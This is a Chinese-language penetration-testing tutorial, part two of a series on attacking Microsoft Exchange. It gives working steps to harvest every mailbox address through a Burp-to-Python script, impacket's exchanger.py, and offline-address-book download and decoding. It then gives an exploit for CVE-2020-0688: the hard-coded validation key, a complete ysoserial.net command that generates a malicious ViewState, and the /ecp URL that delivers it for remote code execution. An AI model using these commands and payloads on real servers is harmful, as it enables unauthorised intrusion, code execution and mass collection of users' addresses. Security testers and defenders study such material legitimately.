渗透测试中的Exchange( 二 )


这个是总的邮箱数
然后把80 改成这个数,直接发,就是邮箱数,但是有点多,burp容易卡死 。可以这样
右键copy as request(这一步需要装插件)
然后复制到python文件里面
后面的内容改下
本来最后一行是
requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies)改成
r = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies)j = r.json()results = j.get('Body').get('ResultSet')import jsonprint(json.dumps(results))然后运行python
python 1.py | jq '.[].EmailAddresses[0].EmailAddress' -r|sort|uniq|这样就提取出所有的邮箱
4. 使用impacket底下的exchanger.py今年5月份刚更新的一个脚本
python exchanger.py DOMAIN/daiker:密码@MAIL nspi list-tables

渗透测试中的Exchange

文章插图
 
python exchanger.py DOMAIN/daiker:密码@MAIL nspi dump-tables-guid xxxx
渗透测试中的Exchange

文章插图
 
5. 通过OAB(1) 读取Autodiscover配置信息,获取OABUrl
POST /autodiscover/autodiscover.xml HTTP/1.1Host: MAILAccept-Encoding: gzip, deflateAccept: */*Authorization: Basic YmllamllbGU=Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (Khtml, like Gecko) Chrome/85.0.4183.83 Safari/537.36Connection: closeContent-Type: text/xml; charset=utf-8Content-Length: 355<?xml version="1.0" encoding="utf-8"?><Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006"><Request><EMailAddress>daiker@Linton-Lab.com</EMailAddress><AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema></Request></Autodiscover>
渗透测试中的Exchange

文章插图
 
(2) 读取OAB文件列表
OABUrl/oab.xml
渗透测试中的Exchange

文章插图
 
(3) 下载lzx文件
OABUrl/xx.lzx
渗透测试中的Exchange

文章插图
 
(4) 对lzx文件解码,还原出Default Global Address List
Kali下直接使用的版本下载地址:http://x2100.icecube.wisc.edu/downloads/python/python2.6.linux-x86_64.gcc-4.4.4/bin/oabextract
./oabextract 67a0647b-8218-498c-91b4-311d4cabd00c-data-1315.lzx gal.oabstrings gal.oab|grep SMTP
渗透测试中的Exchange

文章插图
 
0x04 RCE 漏洞网上一搜Exchange的RCE漏洞还挺多的,但是在实际渗透中,只需要一个普通用户凭据,不需要其他条件的,主要有CVE-2020-0688和CVE-2020-17144
CVE-2020-0688在拿到一个普通用户凭据情况下的RCE,Exchange2010没有开箱即用的POC
静态的密钥有
validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BFvalidationalg = SHA1我们要构造ViewState还需要viewstateuserkey和__VIEWSTATEGENERATOR
viewstateuserkey就是用户的ASP.NET_SessionId,在cookie 底下
渗透测试中的Exchange

文章插图
 
__VIEWSTATEGENERATOR是一个隐藏字段 。可以这样获取
document.getElementById("__VIEWSTATEGENERATOR").value
渗透测试中的Exchange

文章插图
 
现在我们已经有了validationkey,validationalg,viewstateuserkey,__VIEWSTATEGENERATOR 。就可以用使用YSoSerial.net生成序列化后的恶意的ViewState数据 。
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "ping DNSlog.cn" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="{填入__VIEWSTATEGENERATOR}" --viewstateuserkey="{填入viewstateuserkey,也就是ASP.NET_SessionId}" --isdebug –islegacy
渗透测试中的Exchange

文章插图
 
然后构造URL
/ecp/default.aspx?__VIEWSTATEGENERATOR={填入__VIEWSTATEGENERATOR}&__VIEWSTATE={填入YSoSerial.net生成的urlencode 过的ViewState}浏览器访问就行
渗透测试中的Exchange

文章插图
 

渗透测试中的Exchange

文章插图
 
也可以直接使用头像哥的工具


推荐阅读